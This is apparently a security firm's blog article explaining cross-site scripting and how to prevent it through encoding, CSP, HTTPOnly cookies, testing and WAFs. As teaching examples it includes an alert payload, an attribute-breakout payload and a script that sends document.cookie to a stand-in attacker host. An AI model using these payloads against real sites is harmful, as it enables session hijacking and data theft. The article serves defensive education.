What is XSS? Cross-Site Scripting Explained

By Adam Govier - September 24, 2025

Cross-Site Scripting (XSS) is a common web application vulnerability (frequently in the OWASP Top 10) that can allow an attacker to inject malicious code into a web page viewable by other users.

This can lead to a variety of security issues impacting users and businesses, including data theft, session hijacking, and even complete compromise of the affected application.

XSS is often exploited by attackers to steal sensitive information, such as login credentials or personal data, or to perform actions on behalf of the victim user without their consent (such as through a Cross-Site Request Forgery attack).

How Does XSS Work?

Cross-Site Scripting attacks work by being able to manipulate the content of a website in a way that allows the attacker to inject and execute malicious scripts. This is typically done by exploiting vulnerabilities in the web application, such as input validation flaws or improper handling of user-generated content.

When a user visits a web page that contains an XSS vulnerability, the malicious script is executed in their browser, allowing the attacker to steal sensitive information or perform actions on behalf of the user. This can include accessing local and session storage, unsecured cookies, or manipulating the Document Object Model (DOM) of the web page.

Examples of XSS Attacks

An example of a simple XSS attack is when an attacker injects a script into a comment section of a blog post. The script could be something like:

<script>alert('XSS Attack!');</script>

This is a very basic example, but it illustrates how an attacker can inject a script into a web page. When a user visits the blog post and views the comment section, the script will execute in their browser, displaying an alert message.

A more malicious example could be stealing cookies:

<script>document.location='http://attacker.website/steal?cookie='+document.cookie;</script>

In this case, the script sends the user’s cookies to a server controlled by the attacker, which could then be used to hijack the user’s session. This could be further enhanced as an attack vector by sending additional information, such as data from local or session storage, or even performing actions on behalf of the user if they are logged in (this then ventures into Cross-Site Request Forgery).

A more advanced example would be where the attacker would escape the input context to break out of HTML attributes or JavaScript contexts, allowing them to execute more complex payloads.

For example, say we have an input field that is reflected in an HTML attribute, such as:

<input type="text" value="">

If the application does not properly sanitise the input, an attacker could inject a payload like:

" onmouseover="alert('XSS Attack!');"

This would result in the following HTML being rendered:

<input type="text" value="" onmouseover="alert('XSS Attack!');">

There are more complex examples of XSS attacks, such as using obfuscated code or chaining multiple vulnerabilities together to achieve a more sophisticated attack. However, the basic principle remains the same: an attacker is able to inject and execute malicious scripts in a web page viewed by other users.

Types of XSS Attacks

There are three main types of XSS attacks:

  1. Stored XSS: This occurs when the malicious script is permanently stored on the target server, such as in a database. When a user visits the affected page, the content is retrieved from the server and rendered in their browser, executing the malicious script.
  2. Reflected XSS: This occurs when the malicious script is returned by the web server, such as in a search result or error message. This is usually provided to a victim with the script included in a URL, and then executed when the user clicks on the link.
  3. DOM-based XSS: This occurs when the malicious script is executed as a result of modifying the DOM of the web page. This can happen when user input is used to dynamically generate content on the page without proper sanitisation.

An easy way to remember the difference between these types of XSS is that Stored XSS is persistent, Reflected XSS is non-persistent, and DOM-based XSS is client-side.

Impact of Cross-Site Scripting Attacks

The impact of XSS attacks can be severe, as they can lead to a variety of security issues, including:

  • Data Theft: Attackers can steal sensitive information, such as login credentials or personal data, by injecting malicious scripts into web pages.
  • Session Hijacking: Attackers can steal session cookies and use them to impersonate the victim user, allowing them to access sensitive information or perform actions on their behalf.
  • Malware Distribution: Attackers can use XSS to distribute malware, such as ransomware or spyware, by injecting malicious scripts into web pages.
  • Defacement: Attackers can use XSS to deface websites by injecting malicious scripts that change the content of the page.
  • Phishing: Attackers can use XSS to create fake login pages or other forms to trick users into providing sensitive information.

Preventing XSS Attacks

There are a number of ways to safeguard your web applications against XSS attacks. Preventing XSS attacks requires a combination of secure coding practices and proper input validation and sanitisation.

Educating developers about the risks of XSS and how to prevent it is also an important step in securing web applications, as is regular security testing to identify and remediate any vulnerabilities.

By following these best practices and implementing proper security measures, you can help protect your web applications against XSS attacks and ensure the safety of your users’ data.

Input Validation and Output Encoding

User input should always be considered to be untrusted and should be validated (and sanitised where necessary) before being processed or stored by the application.

This can be done by using a whitelist approach, where only known safe characters are allowed, and all other characters are rejected or escaped. Ideally validation should be performed both on the client-side (for user experience) and on the server-side (for security).

Some of the most common input validation techniques include:

  • Length Validation: Ensuring that input does not exceed a certain length.
  • Type Validation: Ensuring that input is of the expected type (e.g., string, integer, etc.).
  • Format Validation: Ensuring that input matches a specific format (e.g., email address, phone number, etc.).
  • Content Validation: Ensuring that input does not contain any malicious content (e.g., HTML tags, JavaScript, etc.).

When displaying user-generated content, it is important to encode the output to prevent the execution of malicious scripts. This can be done by using functions that convert special characters to their HTML entity equivalents.

In examples of client-side JavaScript frameworks, such as React or Angular, this is often handled automatically when rendering content - although it is vitally important to not bypass these protections by using functions that allow raw HTML to be injected into the DOM.

Input sanitisation should ensure that key characters are escaped or removed, such as <, >, ", ', and &. This can help prevent the execution of malicious scripts by ensuring that they are not interpreted as HTML or JavaScript. Additionally, if any rich-text content (such as HTML or Markdown) is allowed, it should be sanitised - for example, by using libraries designed for this purpose.

Content Security Policy (CSP)

CSP is a security feature that allows web developers to specify which sources of content are allowed to be loaded on a web page. This can help prevent the execution of malicious scripts by restricting the types of content that can be loaded.

Implementing a strong CSP can be an effective way to mitigate the risk of XSS attacks, as it can prevent the execution of scripts from untrusted sources, as well as blocking inline scripts and eval() calls.

Deploying CSP can be complex, and it is important to test the policy thoroughly to ensure that it does not break any legitimate functionality on the website. There are various online tools available to help generate and test CSP policies, and the Report Only mode can be used to monitor violations without actually enforcing the policy until you are confident it is working as intended.

Use HTTPOnly Cookies

Setting the HTTPOnly flag on cookies can help prevent them from being accessed by client-side scripts. This can help mitigate the risk of session hijacking attacks, as it prevents attackers from stealing session cookies via XSS vulnerabilities.

Sensitive data should also never be stored in local storage or session storage, as these can be accessed by client-side scripts and are therefore vulnerable to XSS attacks. Additionally, if data is stored in local or session storage (like client-side preferences), it should be validated prior to being similar to the input validation practices mentioned earlier.

Regular Security Testing

Independent cybersecurity testing, such as penetration testing or vulnerability assessments, can help identify XSS vulnerabilities in web applications. Regular security testing can help ensure that any vulnerabilities are identified and remediated before they can be exploited by attackers.

At Exploitr, we offer web application penetration testing services that include testing for XSS vulnerabilities. Our team of certified ethical hackers will use a combination of automated tools and manual techniques to identify and exploit any XSS vulnerabilities in your web applications, providing you with a detailed report of our findings and recommendations for remediation.

Secure Your Applications

Take the next step in securing your applications with our expert penetration testing services.

Web Application Firewalls (WAFs)

A WAF can be a great asset to further provide a defense in depth approach to securing your web applications against XSS attacks. Implementing a WAF can help block malicious requests and filter out potentially harmful content before it reaches the web application and/or backend servers.

However, it is important to note that a WAF should not be relied upon as the sole means of protection against XSS attacks. It should be used in conjunction with other security measures, such as input validation and output encoding, to provide a strong defense against XSS attacks.